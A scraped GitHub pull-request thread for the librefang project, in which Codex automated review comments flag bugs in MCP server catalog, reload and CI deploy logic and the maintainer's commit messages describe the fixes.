timeout_secs: form.timeout || 30,
env: form.env.map(s => s.trim()).filter(Boolean),

P1 Badge Preserve template_id when submitting MCP server edits

This edit payload drops template_id, so updating an MCP server created from the catalog silently strips its provenance. handleSubmit sends formToPayload(form) to update_mcp_server, and the backend upserts the full McpServerConfigEntry; missing optional fields are reset, so the existing template_id is cleared. After a normal edit, the server no longer appears as catalog-installed (and related template-management UX/logic regresses) even though the user only changed transport/env settings.

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment on lines +4475 to +4479
.config_ref()
.mcp_servers
.iter()
.filter_map(|s| s.template_id.clone())
.collect();

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Mark name-colliding MCP servers as installed in catalog

/api/mcp/catalog computes installed from template_id only, so a manually configured server whose name matches a catalog id is reported as not installed. But install requests are rejected on duplicate names, so the UI can show an "Install" action that deterministically fails with 409. This creates a persistent false-available state for that catalog entry and breaks consumers that trust the installed flag as installability.

Useful? React with 👍 / 👎.

houko added 2 commits April 18, 2026 09:21
…hema nullability

Seven new findings Codex surfaced after the last push — mostly fallout
from earlier MCP refactor work.

**librefang-api (skills.rs)**
- `POST /api/mcp/reload` calls `reload_config()` before the reconnect
  pass. CLI's `mcp add/remove` edits `config.toml` out-of-band and
  then POSTs to this endpoint, so without the sync the reconnect
  runs against the stale in-memory snapshot and misses the change.
- `POST /api/mcp/servers` template path runs the duplicate-name
  check BEFORE `install_integration`. The installer writes to the
  credential vault as a side effect; the old ordering returned 409
  but left the caller's creds stored for a server they never managed
  to register.

**librefang-extensions (catalog.rs)**
- `McpCatalog::load` accepts both flat-file (`<id>.toml`) and
  directory-backed (`<id>/MCP.toml`) layouts. Mirrors what
  `web/scripts/fetch-registry.ts` + the detail-page resolver already
  do, so catalog load, live API, and UI agree.

**librefang-cli (tui/event.rs)**
- `spawn_remove_extension` routes through `POST /api/extensions/uninstall`
  with `{ name: id }` instead of `DELETE /api/mcp/servers/{id}`. The
  UI's extension id is the catalog `entry.id` (template_id), which
  can diverge from the configured server name; the extensions
  endpoint resolves either form, the MCP endpoint only the exact name.

**dashboard (McpServersPage.tsx)**
- Strip blank credential fields before submitting a template install.
  The installer persists whatever it gets, so blank values land in
  the vault and short-circuit the dotenv/env fallback on lookup.

**worker OpenAPI (openapi.yaml)**
- `CommitInfo` fields (`sha`, `author`, `date`, `message`, `url`) are
  nullable — the worker returns nulls when no commit is found for a
  path, and strictly-generated clients should tolerate that.

**web (useRegistry.ts)**
- Drop `.default(0)` from the count fields in the Zod schema. The
  downstream merge uses `apiData.*Count ?? localData.*Count`; the
  default masked undefined as 0 and clobbered valid local counts
  whenever the worker response was partial/stale.
Codex #3104049434: `/api/mcp/catalog` only blocked a re-install when a
configured server's `template_id` matched. A server manually added via
a hand-edited `[[mcp_servers]]` block whose `name` happened to match a
catalog id was reported as Available, so the UI rendered an Install
button that would then 409 against the name-collision guard in
`add_mcp_server`.

Include every configured server's `name` in the installed-id set so
the catalog view and the install endpoint agree on what's blocked.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

let new_servers: Vec<_> = new_configs
.iter()
.filter(|s| !already_connected.contains(&s.name))
.cloned()

P2 Badge Reconnect changed MCP servers during reload

reload_mcp_servers only attempts connections for names that are not currently connected (!already_connected.contains(&s.name)), so edits to an existing server’s transport/env/oauth in config.toml are ignored by POST /api/mcp/reload: the old connection remains active and the updated config is not applied. This makes reload effectively add/remove-only, despite being the advertised re-read/reconnect path.

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

.config_ref()
.mcp_servers
.iter()
.filter_map(|s| s.template_id.clone())

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Keep catalog detail installed check consistent with list

get_mcp_catalog_entry computes installed from template_id only, while list_mcp_catalog already treats either template_id or a name collision as installed. With a manually configured [[mcp_servers]] entry whose name matches a catalog id but has no template_id, the list endpoint reports installed but the detail endpoint reports not installed, so detail-driven clients can render an install action that deterministically fails the duplicate-name guard.

Useful? React with 👍 / 👎.

houko added 2 commits April 18, 2026 09:40
Codex #3104080207: `get_mcp_catalog_entry` still computed `installed`
from `template_id` alone, while `list_mcp_catalog` already looked at
name collisions too (#3104049434). Extract `collect_installed_catalog_ids`
and call it from both handlers so the list and detail views stay in
lockstep with the 409 name-collision guard in `add_mcp_server`.
`test_mention_only_*` tests in the outer `tests` module call
`addressee_guard_enabled()`, which reads `LIBREFANG_GROUP_ADDRESSEE_GUARD`
from the process environment. The nested `should_process_group_message_v2`
module's `with_guard_on/off` helpers set and clear that same variable,
serialized on a local `ENV_LOCK` inside the nested module only.

Under `cargo test --lib` parallel execution, the nested module's
mutations would bleed over to the outer tests that don't acquire any
lock, intermittently flipping `addressee_guard_enabled()` from false
(expected default) to true mid-assertion. The symptom: two tests fail
in a full-workspace run but pass when run in isolation.

Move the Mutex up to the outer `tests` module and have both modules
serialize on the same lock. Outer tests that assume the default guard
state now also clear the env var before their bodies run.
@github-actions github-actions Bot added the area/channels Messaging channel adapters label Apr 18, 2026
@houko
houko merged commit 0a3bb9e into main Apr 18, 2026
14 checks passed
@houko
houko deleted the claude/improve-features-ui-docs-BjltO branch April 18, 2026 00:49
@github-actions github-actions Bot removed the ready-for-review PR is ready for maintainer review label Apr 18, 2026

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

- name: Deploy to Cloudflare Pages
uses: cloudflare/wrangler-action@v3
with:
apiToken: ${{ secrets.CLOUDFLARE_API_TOKEN }}
accountId: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }}

P2 Badge Guard Cloudflare deploy step on fork pull requests

The job runs on pull_request and always executes cloudflare/wrangler-action with repository secrets. For PRs from forks, those secrets are not provided, so this step fails even when build/test steps pass, which makes external contributor PRs fail for an infra reason unrelated to code quality. Add a conditional like the docs workflow or split deploy from PR validation.

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment on lines +82 to +85
sync_flat_files(
&src_dir,
&home_dir.join("mcp").join("catalog"),
"mcp/catalog",

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Copy directory-based MCP manifests during registry sync

This path syncs registry/mcp into ~/.librefang/mcp/catalog via sync_flat_files, but that helper only copies top-level *.toml files and skips directory entries. In this same change, catalog loading supports directory manifests (mcp/<id>/MCP.toml), so those entries will never be installed by sync_registry and therefore won’t appear in /api/mcp/catalog or CLI catalog views on fresh machines.

Useful? React with 👍 / 👎.

Comment on lines +4679 to +4681
if let Some(tid) = &s.template_id {
map.insert(tid.clone(), s);
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Treat name-colliding MCP servers as installed extensions

installed_servers_by_template only indexes template_id, so a manually configured server whose name equals a catalog id is reported as available by /api/extensions. But install_extension rejects that same name (s.name == name) with 409, so clients can show an install action that deterministically fails. This endpoint should include name collisions in its installed-state computation to match install-time validation.

Useful? React with 👍 / 👎.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

area/channels Messaging channel adapters area/ci CI/CD and build tooling area/docs Documentation and guides area/kernel Core kernel (scheduling, RBAC, workflows) area/runtime Agent loop, LLM drivers, WASM sandbox area/security Security systems and auditing area/skills Skill system and FangHub marketplace size/XL 1000+ lines changed

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants